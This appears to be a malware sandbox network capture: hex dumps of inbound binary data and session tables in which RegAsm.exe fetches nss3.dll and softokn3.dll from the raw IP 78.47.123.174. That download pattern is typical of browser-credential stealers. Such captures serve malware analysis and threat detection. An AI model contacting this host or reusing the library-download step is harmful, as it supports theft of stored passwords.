2024-05-22 16:28:17 UTC	16384	IN	Data Raw: 4d d4 53 33 c0 03 04 cb 52 13 7c cb 04 56 57 50 e8 f1 02 02 00 5b 8b 5d 08 8b f9 8b 4d d4 8b 75 d8 89 54 cb 04 8b 55 e8 89 04 cb 83 e9 01 89 4d d4 79 cf 5f 5e 5b c9 c3 55 8b ec 51 56 8b 75 14 33 d2 85 f6 7e 5f 53 8b 5d 08 29 5d 10 57 8b fb 89 75 fc 8b 5d 10 8b 0c 3b 03 0f 8b 44 3b 04 13 47 04 03 ca 89 0f 8d 7f 08 83 d0 00 8b d0 89 57 fc 83 67 fc 00 83 ee 01 75 dc 0b c6 8b 5d 08 74 22 8b 4d fc 3b 4d 0c 7d 1a 01 14 cb 8b 54 cb 04 13 d6 33 f6 89 54 cb 04 8b c2 21 74 cb 04 41 0b c6 75 e1 5f 5b 5e c9 c3 55 8b ec 8b 55 08 56 8b 75 0c 83 c2 f8 8d 14 f2 8b 02 0b 42 04 75 0b 8d 52 f8 4e 8b 0a 0b 4a 04 74 f5 8b c6 5e 5d c3 55 8b ec 53 56 33 db 33 f6 39 5d 0c 7e 30 57 8b 7d 08 ff 75 14 ff 75 10 ff 74 f7 04 ff 34 f7 e8 73 03 02 00 03 c3 89 04 f7 83 d2 00 8b da 89 5c Data Ascii: MS3R\|VWP[]MuTUMy_^[UQVu3~_S])]Wu];D;GWgu]t"M;M}T3T!tAu_[^UUVuBuRNJt^]USV339]~0W}uut4s\
2024-05-22 16:28:17 UTC	16384	IN	Data Raw: 89 75 fc 89 46 04 c7 06 7c 69 00 10 83 66 08 00 ff 15 d0 72 06 10 6a 00 89 46 08 ff 15 90 71 06 10 59 8b c6 5e c9 c2 08 00 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 51 8b 45 0c 56 8b f1 89 75 fc 89 46 04 c7 06 e8 65 00 10 83 66 08 00 ff 15 d0 72 06 10 6a 00 89 46 08 ff 15 90 71 06 10 59 8b c6 5e c9 c2 08 00 56 8b f1 ff 76 0c c7 06 4c 68 00 10 ff 15 90 71 06 10 59 c7 06 28 52 00 10 5e c3 56 8b f1 ff 76 0c c7 06 8c 66 00 10 ff 15 90 71 06 10 59 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc 56 8b f1 c7 06 50 69 00 10 e8 e2 71 00 00 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc cc cc cc 56 8b f1 c7 06 90 67 00 10 e8 c2 71 00 00 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc cc cc cc 56 8b f1 ff 76 08 c7 06 7c 69 00 10 ff 15 90 71 06 10 59 c7 06 28 52 00 10 Data Ascii: uF\|ifrjFqY^UQEVuFefrjFqY^VvLhqY(R^VvfqY(R^VPiq(R^Vgq(R^Vv\|iqY(R
2024-05-22 16:28:17 UTC	16384	IN	Data Raw: 80 7f 04 00 75 07 8b cf e8 85 26 00 00 0f b7 47 06 50 ff b5 74 ff ff ff e8 9a a8 ff ff 59 59 83 f8 0a 73 3c 8a 80 2c 6a 00 10 8b 4d 8c 88 85 64 ff ff ff ff b5 64 ff ff ff e8 5f 18 ff ff 8b 4d d8 8d 45 d8 83 fb 10 72 02 8b c1 80 3c 30 7f 74 4c 8d 45 d8 83 fb 10 72 02 8b c1 fe 04 30 eb 3a 8d 45 d8 83 fb 10 72 03 8b 45 d8 80 3c 30 00 74 45 80 7f 04 00 0f b7 47 06 75 0b 8b cf e8 10 26 00 00 0f b7 47 06 66 3b 85 60 ff ff ff 75 27 6a 00 8d 4d d8 e8 04 18 ff ff 46 8b 5d ec 8b cf e8 24 11 00 00 ff 75 98 8b cf e8 de 72 00 00 84 c0 0f 84 4a ff ff ff 8b 5d 90 85 f6 74 13 83 7d ec 10 8d 45 d8 72 03 8b 45 d8 80 3c 30 00 7e 52 46 8a 45 a7 83 7d d4 10 8d 55 c0 72 03 8b 55 c0 84 c0 75 49 85 f6 74 5e 8a 0a 80 f9 7f 74 57 83 ee 01 74 11 83 7d ec 10 8d 45 d8 72 03 8b 45 d8 Data Ascii: u&GPtYYs<,jMdd_MEr<0tLEr0:ErE<0tEGu&Gf;`u'jMF]$urJ]t}ErE<0~RFE}UrUuIt^tWt}ErE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49718	78.47.123.174	443	5768	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 16:28:18 UTC	170	OUT	GET /nss3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Cache-Control: no-cache
2024-05-22 16:28:18 UTC	248	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 22 May 2024 16:28:18 GMT Content-Type: application/octet-stream Content-Length: 2046288 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: close ETag: "6315a9f4-1f3950" Accept-Ranges: bytes
2024-05-22 16:28:18 UTC	16136	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@
2024-05-22 16:28:18 UTC	16384	IN	Data Raw: 89 c2 69 f3 90 01 00 00 29 f0 83 e2 03 66 85 d2 0f 94 c2 66 85 ff 0f 95 c6 20 d6 66 85 c0 0f 94 c0 08 f0 0f b6 c0 8d 04 40 8b 55 f0 0f be 84 82 20 7c 1a 10 89 41 10 8a 41 1a fe c8 0f b6 c0 ba 06 00 00 00 0f 49 d0 88 51 1a e9 f7 fe ff ff 83 c2 e8 89 51 0c 8b 41 10 89 45 f0 8b 71 14 40 89 41 10 66 ff 41 1c 0f b7 41 18 a8 03 0f 94 c3 69 f8 29 5c 00 00 8d 97 1c 05 00 00 66 c1 ca 02 0f b7 d2 81 fa 8f 02 00 00 0f 93 c2 20 da 81 c7 10 05 00 00 66 c1 cf 04 0f b7 ff 81 ff a3 00 00 00 0f 92 c6 08 d6 0f b6 d6 8d 14 52 0f be 94 96 20 7c 1a 10 39 55 f0 7c 26 89 f7 c7 41 10 01 00 00 00 8d 56 01 89 51 14 83 fe 0b 7c 12 c7 41 14 00 00 00 00 40 66 89 41 18 66 c7 41 1c 00 00 8a 41 1a fe c0 31 d2 3c 07 0f b6 c0 0f 4d c2 88 41 1a e9 51 fe ff ff c7 41 14 0b 00 00 00 8b 51 18 Data Ascii: i)ff f@U \|AAIQQAEq@AfAAi)\f fR \|9U\|&AVQ\|A@fAfAA1<MAQAQ
2024-05-22 16:28:19 UTC	16384	IN	Data Raw: 7f 06 00 74 69 31 db 8b 44 9f 14 be 48 01 1d 10 85 c0 74 02 8b 30 68 d3 fe 1b 10 56 e8 f7 5b 19 00 83 c4 08 85 c0 b8 79 64 1c 10 0f 45 c6 8b 4f 10 0f b6 0c 19 f6 c1 02 ba 98 dc 1c 10 be 48 01 1d 10 0f 44 d6 f6 c1 01 b9 b1 de 1c 10 0f 44 ce 50 52 51 68 7f a0 1b 10 8d 44 24 60 50 e8 d6 b7 06 00 83 c4 14 43 0f b7 47 06 39 c3 72 99 8b 44 24 60 8d 48 01 3b 4c 24 58 0f 83 b7 03 00 00 89 4c 24 60 8b 4c 24 54 c6 04 01 29 eb 25 8b 44 24 04 8b 4c 24 08 8b 44 81 10 0f be 08 8d 54 24 50 51 ff 70 20 68 2c e2 1c 10 52 e8 89 b7 06 00 83 c4 10 f6 44 24 64 07 0f 85 4b 03 00 00 8b 44 24 54 85 c0 74 21 8b 4c 24 60 c6 04 08 00 83 7c 24 5c 00 74 12 f6 44 24 65 04 75 0b 8d 4c 24 50 e8 d4 68 06 00 eb 04 8b 44 24 54 89 44 24 18 8b 45 08 8b 80 a0 00 00 00 83 e0 0c 83 f8 08 0f 85 Data Ascii: ti1DHt0hV[ydEOHDDPRQhD$`PCG9rD$`H;L$XL$`L$T)%D$L$DT$PQp h,RD$dKD$Tt!L$`\|$\tD$euL$PhD$TD$E
2024-05-22 16:28:19 UTC	16384	IN	Data Raw: 11 1e 10 77 26 8b 35 38 11 1e 10 85 f6 74 15 8b 0d 78 e0 1d 10 81 f9 80 c2 12 10 75 7b 56 ff 15 68 cc 1d 10 89 f8 5e 5f 5b 5d c3 a3 30 11 1e 10 eb d3 a3 0c 11 1e 10 eb b9 89 3d 20 11 1e 10 e9 54 ff ff ff 31 ff eb dc 8b 0d 40 e0 1d 10 ff 15 00 40 1e 10 57 ff d1 83 c4 04 eb ca ff 15 00 40 1e 10 56 ff d1 83 c4 04 e9 0b ff ff ff 89 f7 c1 ff 1f 29 f1 19 f8 31 d2 39 0d e4 10 1e 10 19 c2 7d 27 c7 05 50 11 1e 10 00 00 00 00 e9 20 ff ff ff 31 ff e9 6d ff ff ff ff 15 00 40 1e 10 56 ff d1 83 c4 04 e9 7b ff ff ff c7 05 50 11 1e 10 01 00 00 00 8b 1d 38 11 1e 10 85 db 74 2e 8b 0d 78 e0 1d 10 ff 15 00 40 1e 10 53 ff d1 83 c4 04 8b 1d 38 11 1e 10 85 db 74 12 8b 0d 70 e0 1d 10 ff 15 00 40 1e 10 53 ff d1 83 c4 04 a1 4c 11 1e 10 8b 0d 48 11 1e 10 89 ca 09 c2 0f 84 b1 fe ff Data Ascii: w&58txu{Vh^_[]0= T1@@W@V)19}'P 1m@V{P8t.x@S8tp@SLH
2024-05-22 16:28:19 UTC	16384	IN	Data Raw: 24 08 8b 70 44 8b 06 85 c0 0f 84 81 fd ff ff 8b 48 04 ff 15 00 40 1e 10 56 ff d1 83 c4 04 c7 06 00 00 00 00 e9 67 fd ff ff 8b 44 24 08 8b 70 40 8b 06 85 c0 74 2d 8b 4c 24 08 80 79 0d 00 75 11 8b 48 20 ff 15 00 40 1e 10 6a 01 56 ff d1 83 c4 08 8b 44 24 08 80 78 12 05 74 08 8b 44 24 08 c6 40 12 01 8b 4c 24 08 8a 41 0c 88 41 13 e9 13 fe ff ff 8b 44 24 08 8b 30 8b 4e 1c 85 c9 0f 84 88 fa ff ff 8b 44 24 08 8b b8 ec 00 00 00 ff 15 00 40 1e 10 6a 00 57 56 ff d1 83 c4 0c 89 44 24 0c e9 72 f6 ff ff 8b 4c 24 08 89 81 a0 00 00 00 e9 f7 f9 ff ff 8b 48 04 ff 15 00 40 1e 10 56 ff d1 83 c4 04 c7 06 00 00 00 00 e9 26 fa ff ff 31 f6 46 e9 d2 fc ff ff 31 db f6 44 24 1c 01 0f 84 40 fe ff ff 68 40 7e 1c 10 68 83 e4 00 00 68 14 dd 1b 10 68 78 fc 1b 10 6a 0e e8 0a 8f 02 00 83 Data Ascii: $pDH@VgD$p@t-L$yuH @jVD$xtD$@L$AAD$0ND$@jWVD$rL$H@V&1F1D$@h@~hhhxj
2024-05-22 16:28:19 UTC	16384	IN	Data Raw: 6f 8b 7d 0c 89 54 24 04 8b 0d 30 e4 1d 10 8b 45 08 8b 40 08 89 04 24 ff 15 00 40 1e 10 8d 44 24 10 50 8d 44 24 10 50 56 57 ff 74 24 10 ff d1 85 c0 0f 84 92 00 00 00 8b 44 24 0c 85 c0 8b 54 24 04 74 42 29 c6 72 3e 01 c2 83 d3 00 89 54 24 18 89 d9 81 e1 ff ff ff 7f 89 4c 24 1c 01 c7 85 f6 7f a2 8b 44 24 24 85 c0 0f 85 92 00 00 00 31 ff 8b 4c 24 28 31 e9 e8 9d 64 13 00 89 f8 8d 65 f4 5e 5f 5b 5d c3 8b 0d 8c e2 1d 10 ff 15 00 40 1e 10 ff d1 89 c2 8b 45 08 89 50 14 83 fa 70 74 05 83 fa 27 75 3f bf 0d 00 00 00 b9 0d 00 00 00 68 ee b2 00 00 8b 45 08 ff 70 1c 68 65 8a 1c 10 e8 c4 1e 14 00 83 c4 0c eb a7 8d 4c 24 24 8d 54 24 08 e8 12 20 14 00 85 c0 0f 85 2a ff ff ff 8b 54 24 08 eb b1 bf 0a 03 00 00 b9 0a 03 00 00 68 f3 b2 00 00 8b 45 08 ff 70 1c 68 20 85 1c 10 eb Data Ascii: o}T$0E@$@D$PD$PVWt$D$T$tB)r>T$L$D$$1L$(1de^_[]@EPpt'u?hEpheL$$T$ *T$hEph
2024-05-22 16:28:19 UTC	16384	IN	Data Raw: 68 7c ec 8b 44 24 0c 89 46 68 83 7c 24 04 01 75 72 8b 56 64 8d 1c 40 c1 e3 04 83 7c 1a 1c 00 74 4b 8b 4e 48 8b 01 85 c0 74 42 3d 58 00 1a 10 75 34 8b 86 a8 00 00 00 8b be ac 00 00 00 83 c0 04 83 d7 00 89 74 24 04 89 d6 8b 54 1a 18 0f af fa f7 e2 01 fa 52 50 51 e8 8c 45 12 00 89 f2 8b 74 24 10 83 c4 0c 8b 44 1a 18 89 46 38 31 ff 8b 4c 24 30 31 e9 e8 9f 24 13 00 89 f8 8d 65 f4 5e 5f 5b 5d c3 89 74 24 04 8b 86 e8 00 00 00 89 44 24 08 85 c0 0f 84 88 01 00 00 83 7c 24 0c 00 0f 84 ac 00 00 00 8b 44 24 04 8b 70 64 85 f6 0f 84 9d 00 00 00 8b 44 24 0c 48 8d 3c 40 c1 e7 04 8b 44 3e 14 89 44 24 0c b9 00 02 00 00 31 d2 e8 56 3e ff ff 89 44 24 18 85 c0 0f 84 ce 02 00 00 8d 04 3e 89 44 24 14 8d 04 3e 83 c0 14 89 44 24 08 8b 5c 24 18 89 d8 83 c0 04 68 fc 01 00 00 6a 00 Data Ascii: h\|D$Fh\|$urVd@\|tKNHtB=Xu4t$TRPQEt$DF81L$01$e^_[]t$D$\|$D$pdD$H<@D>D$1V>D$>D$>D$\$hj
2024-05-22 16:28:19 UTC	16384	IN	Data Raw: 00 00 00 8b 99 48 01 00 00 85 db 75 6b 8b 99 44 01 00 00 85 db 75 7b ff 81 40 01 00 00 8a 5d f3 88 d8 50 e8 d0 ca 11 00 83 c4 04 89 c3 85 c0 0f 84 a7 00 00 00 57 ff 75 e4 53 e8 0f 1c 18 00 83 c4 0c c6 04 3b 00 8d 04 b6 8b 4d ec 8d 04 81 83 c0 0c 89 18 0f b6 0b 80 b9 7a f8 19 10 00 78 4a 8b 4d e8 80 b9 d0 00 00 00 02 0f 83 83 00 00 00 83 c4 10 5e 5f 5b 5d c3 8b 03 89 81 48 01 00 00 e9 50 ff ff ff 8b 03 89 81 4c 01 00 00 e9 43 ff ff ff 8b 03 89 81 44 01 00 00 e9 36 ff ff ff ff 81 3c 01 00 00 e9 73 ff ff ff 80 f9 5b 0f b6 c9 ba 5d 00 00 00 0f 45 d1 89 55 ec 31 f6 46 89 df 8a 0c 33 3a 4d ec 74 06 88 0f 46 47 eb f2 8b 4d ec 38 4c 33 01 74 2d c6 07 00 eb 84 8d 04 b6 8b 4d ec 8d 04 81 83 c0 0c c7 00 00 00 00 00 e9 6d ff ff ff 8b 10 8b 4d e8 83 c4 10 5e 5f 5b 5d Data Ascii: HukDu{@]PWuS;MzxJM^_[]HPLCD6<s[]EU1F3:MtFGM8L3t-MmM^_[]
2024-05-22 16:28:19 UTC	16384	IN	Data Raw: f6 ff ff 8b 57 10 85 d2 74 09 8b 4c 24 20 e8 75 c2 ff ff 8b 7c 24 0c c7 47 10 00 00 00 00 e9 98 f6 ff ff 8b 06 89 81 44 01 00 00 e9 e3 f9 ff ff ff 81 3c 01 00 00 e9 80 fc ff ff 8b 44 24 14 80 b8 d0 00 00 00 00 0f 85 f3 fb ff ff 8b 44 24 20 8b 40 10 8b 4c 38 0c 83 79 48 00 0f 85 de fb ff ff ff 34 38 68 b4 e0 1c 10 ff 74 24 1c e8 06 09 00 00 83 c4 0c e9 c5 fb ff ff 8b 4c 24 1c e9 ae fd ff ff 8a 80 08 f7 19 10 3a 83 08 f7 19 10 0f 84 02 fa ff ff e9 c9 f9 ff ff 8b 44 24 20 80 b8 b1 00 00 00 00 0f 84 47 04 00 00 68 48 01 1d 10 ff 74 24 18 e8 5f 2a 01 00 83 c4 08 e9 33 f7 ff ff 8b 44 24 0c 80 48 1e 01 66 83 78 22 00 0f 8e a5 f5 ff ff 31 c9 b8 0e 00 00 00 8b 54 24 0c 8b 52 04 8b 74 02 f6 89 f7 c1 ef 04 83 e7 0f 83 ff 01 74 09 85 ff 75 0a e9 69 03 00 00 c6 44 02 Data Ascii: WtL$ u\|$GD<D$D$ @L8yH48ht$L$:D$ GhHt$_*3D$Hfx"1T$RttuiD
2024-05-22 16:28:19 UTC	16384	IN	Data Raw: c7 44 24 24 00 00 00 00 e9 0b f1 ff ff 8b 44 24 0c 8b 40 10 8b 40 1c 8b 4c 24 08 3b 41 3c 0f 84 95 ea ff ff 8b 7c 24 08 ff 37 68 27 f8 1c 10 ff 74 24 0c e8 e0 ea 00 00 83 c4 0c c7 44 24 24 00 00 00 00 e9 a2 f0 ff ff 68 48 e4 1b 10 8b 7c 24 08 57 e8 c1 ea 00 00 83 c4 08 be 0b 00 00 00 68 40 7e 1c 10 68 14 ce 01 00 68 40 bb 1b 10 68 78 fc 1b 10 56 e8 8f 4f 01 00 83 c4 14 89 77 0c c7 44 24 1c 00 00 00 00 e9 83 f8 ff ff 66 ba 1e 00 31 c0 85 c9 0f 85 54 f1 ff ff 31 d2 e9 5b f1 ff ff 31 ff 66 ba 28 00 be ff 0f 00 00 89 cb 31 c0 83 c2 28 89 f9 0f a4 d9 1c c1 e8 04 39 de bb 00 00 00 00 19 fb 89 cb 89 c7 0f 83 f2 f0 ff ff eb df a9 fd ff ff ff 74 65 31 f6 46 b8 ec bb 1b 10 e9 c1 fd ff ff 31 c0 e9 85 f2 ff ff c7 44 24 18 00 00 00 00 e9 36 f8 ff ff 8b 40 14 e9 d1 e9 Data Ascii: D$$D$@@L$;A<\|$7h't$D$$hH\|$Wh@~hh@hxVOwD$f1T1[1f(1(9te1F1D$6@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49719	78.47.123.174	443	5768	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 16:28:21 UTC	174	OUT	GET /softokn3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Cache-Control: no-cache
2024-05-22 16:28:21 UTC	246	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 22 May 2024 16:28:21 GMT Content-Type: application/octet-stream Content-Length: 257872 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: close ETag: "6315a9f4-3ef50" Accept-Ranges: bytes
2024-05-22 16:28:21 UTC	16138	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSw
2024-05-22 16:28:21 UTC	16384	IN	Data Raw: ff 89 85 f4 fe ff ff c7 85 f8 fe ff ff 04 00 00 00 8d 85 f0 fe ff ff 6a 01 50 53 57 e8 85 af 00 00 83 c4 10 89 c6 85 c0 75 3f 8b 85 ec fe ff ff 83 c0 fd 83 f8 01 77 25 be 30 00 00 00 83 3d 28 9a 03 10 00 75 23 83 3d 50 90 03 10 00 74 0e be 01 01 00 00 f6 05 20 9a 03 10 01 74 0c 53 57 e8 e2 b9 00 00 83 c4 08 89 c6 83 3d 2c 9a 03 10 00 0f 84 5e ff ff ff 8b 85 ec fe ff ff 83 c0 fe 83 f8 02 0f 87 4c ff ff ff 56 53 57 68 85 6b 03 10 68 00 01 00 00 8d 85 f0 fe ff ff 50 ff 15 1c 7c 03 10 83 c4 18 e9 2a ff ff ff cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 08 01 00 00 a1 14 90 03 10 31 e8 89 45 f0 c7 85 ec fe ff ff 00 00 00 00 be 30 00 00 00 83 3d 28 9a 03 10 00 74 17 8b 4d f0 31 e9 e8 28 8b 02 00 89 f0 81 c4 08 01 00 00 5e 5f 5b 5d c3 8b 5d 0c c7 Data Ascii: jPSWu?w%0=(u#=Pt tSW=,^LVSWhkhP\|*USWV1E0=(tM1(^_[]]
2024-05-22 16:28:21 UTC	16384	IN	Data Raw: ff 83 c4 10 85 c0 0f 85 6b 03 00 00 57 e8 c4 9d ff ff 83 c4 04 ff 75 e8 53 57 e8 f7 9d ff ff 83 c4 0c ff 75 e8 8d 45 e8 50 53 57 e8 26 9e ff ff 83 c4 10 85 c0 0f 85 3c 03 00 00 8b 4d c8 83 c1 01 8b 75 e4 8b 45 dc 01 f0 3b 4d c0 0f 85 6c ff ff ff 31 f6 e9 20 03 00 00 31 f6 ff 35 30 9a 03 10 ff 15 f0 7b 03 10 83 c4 04 a1 34 9a 03 10 85 c0 74 15 6a 01 50 e8 57 4e 02 00 83 c4 08 c7 05 34 9a 03 10 00 00 00 00 a1 38 9a 03 10 85 c0 74 15 6a 01 50 e8 39 4e 02 00 83 c4 08 c7 05 38 9a 03 10 00 00 00 00 a1 3c 9a 03 10 85 c0 74 15 6a 01 50 e8 1b 4e 02 00 83 c4 08 c7 05 3c 9a 03 10 00 00 00 00 56 e8 e8 4d 02 00 83 c4 04 a3 34 9a 03 10 8b 47 38 a3 40 9a 03 10 8b 47 28 a3 44 9a 03 10 8b 47 2c a3 48 9a 03 10 8d 47 04 50 e8 bf 4d 02 00 83 c4 04 a3 38 9a 03 10 ff 75 0c e8 Data Ascii: kWuSWuEPSW&<MuE;Ml1 150{4tjPWN48tjP9N8<tjPN<VM4G8@G(DG,HGPM8u
2024-05-22 16:28:21 UTC	16384	IN	Data Raw: 10 88 41 03 0f b6 41 04 d1 e8 8a 80 68 f9 02 10 88 41 04 0f b6 41 05 d1 e8 8a 80 68 f9 02 10 88 41 05 0f b6 41 06 d1 e8 8a 80 68 f9 02 10 88 41 06 0f b6 41 07 d1 e8 8a 80 68 f9 02 10 88 41 07 ba 01 01 01 01 8b 31 31 d6 33 51 04 b8 01 00 00 00 09 f2 0f 84 37 01 00 00 ba 1f 1f 1f 1f 33 11 be 0e 0e 0e 0e 33 71 04 09 d6 0f 84 20 01 00 00 ba e0 e0 e0 e0 33 11 be f1 f1 f1 f1 33 71 04 09 d6 0f 84 09 01 00 00 ba fe fe fe fe 8b 31 31 d6 33 51 04 09 f2 0f 84 f5 00 00 00 ba 01 fe 01 fe 8b 31 31 d6 33 51 04 09 f2 0f 84 e1 00 00 00 ba fe 01 fe 01 8b 31 31 d6 33 51 04 09 f2 0f 84 cd 00 00 00 ba 1f e0 1f e0 33 11 be 0e f1 0e f1 33 71 04 09 d6 0f 84 b6 00 00 00 ba e0 1f e0 1f 33 11 be f1 0e f1 0e 33 71 04 09 d6 0f 84 9f 00 00 00 ba 01 e0 01 e0 33 11 be 01 f1 01 f1 33 71 Data Ascii: AAhAAhAAhAAhA113Q733q 33q113Q113Q113Q33q33q33q
2024-05-22 16:28:21 UTC	16384	IN	Data Raw: 00 e9 21 07 00 00 3d 50 06 00 00 0f 8f aa 01 00 00 3d 51 05 00 00 74 2d 3d 52 05 00 00 74 12 3d 55 05 00 00 0f 85 0a 07 00 00 c7 47 0c 01 00 00 00 83 7b 04 00 0f 84 ec 06 00 00 83 7b 08 10 0f 85 e2 06 00 00 c7 47 18 10 00 00 00 83 7c 24 24 25 0f 85 fb 07 00 00 6a 11 ff 74 24 30 e8 44 c7 00 00 83 c4 08 85 c0 0f 84 78 09 00 00 89 c7 31 c0 81 3b 51 05 00 00 0f 95 c0 ff 77 1c 8b 4d 20 51 50 ff 73 04 ff 77 18 e8 09 1e ff ff 83 c4 14 8b 4c 24 28 89 41 64 57 e8 a9 c6 00 00 83 c4 04 8b 44 24 28 83 78 64 00 0f 84 bf 08 00 00 83 7d 20 00 b9 60 2a 00 10 ba 20 2a 00 10 0f 44 d1 89 50 74 c7 80 84 00 00 00 e0 29 00 10 e9 eb 08 00 00 3d 09 21 00 00 0f 8e 1c 02 00 00 3d 0a 21 00 00 0f 84 08 02 00 00 3d 0b 21 00 00 0f 84 23 02 00 00 3d 21 40 00 00 0f 85 37 06 00 00 83 7c Data Ascii: !=P=Qt-=Rt=UG{{G\|$$%jt$0Dx1;QwM QPswL$(AdWD$(xd} `* *DPt)=!=!=!#=!@7\|
2024-05-22 16:28:21 UTC	16384	IN	Data Raw: 14 90 03 10 31 e8 89 45 f0 ff 75 08 e8 35 ab 00 00 83 c4 04 85 c0 74 5f 89 c6 8b 78 38 bb 91 00 00 00 85 ff 74 56 83 3f 03 75 51 8b 4d 18 8b 47 04 83 7d 14 00 74 59 8b 5d 0c 85 c0 74 64 89 ce 8b 4d 08 89 da 6a 03 ff 75 10 e8 47 fa ff ff 83 c4 08 89 c3 85 c0 75 24 56 ff 75 14 ff 75 08 e8 72 fd ff ff 83 c4 0c 89 c6 8b 4d f0 31 e9 e8 a3 8b 01 00 89 f0 eb 11 bb b3 00 00 00 8b 4d f0 31 e9 e8 90 8b 01 00 89 d8 83 c4 10 5e 5f 5b 5d c3 85 c0 74 06 83 7f 68 00 74 5a 81 c7 90 00 00 00 eb 55 8b 01 89 45 e8 8b 47 64 89 45 e4 8b 4f 74 ff 15 00 a0 03 10 8d 45 ec ff 75 10 53 ff 75 e8 50 ff 75 14 ff 75 e4 ff d1 83 c4 18 85 c0 74 32 e8 a1 8d 01 00 50 e8 eb 84 00 00 83 c4 04 8b 55 ec 8b 4d 18 89 11 bb 50 01 00 00 3d 50 01 00 00 74 8a eb 18 83 c7 60 8b 07 89 01 31 db e9 7a Data Ascii: 1Eu5t_x8tV?uQMG}tY]tdMjuGu$VuurM1M1^_[]thtZUEGdEOtEuSuPuut2PUMP=Pt`1z
2024-05-22 16:28:21 UTC	16384	IN	Data Raw: d8 00 00 00 00 c7 45 d4 04 00 00 00 eb 18 0f 1f 84 00 00 00 00 00 8b 47 fc 8b 00 89 45 d8 83 c7 0c 83 c6 ff 74 5a 8b 47 f8 85 c0 74 19 3d 61 01 00 00 74 e2 8b 4f fc eb 15 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 8b 4f fc 8b 11 89 55 d4 ff 37 51 50 ff 75 dc e8 8c 53 00 00 83 c4 10 85 c0 74 bd 89 c3 e9 80 01 00 00 bf 02 00 00 00 e9 83 01 00 00 c7 45 d4 04 00 00 00 c7 45 d8 00 00 00 00 8b 45 10 8b 4d 0c 83 ec 1c 0f 28 05 40 fb 02 10 0f 11 44 24 0c 89 44 24 08 89 4c 24 04 8b 45 08 89 04 24 e8 fe 7c ff ff 83 c4 1c 85 c0 74 0c 89 c3 ff 75 dc e8 7d 5a 00 00 eb 3d 8b 7d 18 8b 5d 14 57 e8 8b 4d 01 00 83 c4 04 89 c6 89 7d ec 8d 45 ec 50 56 57 53 ff 75 08 e8 e8 9a ff ff 83 c4 14 85 c0 74 26 89 c3 ff 75 dc e8 47 5a 00 00 83 c4 04 56 e8 78 4d 01 00 83 c4 04 83 fb 40 bf Data Ascii: EGEtZGt=atOf.OU7QPuStEEEM(@D$D$L$E$\|tu}Z=}]WM}EPVWSut&uGZVxM@
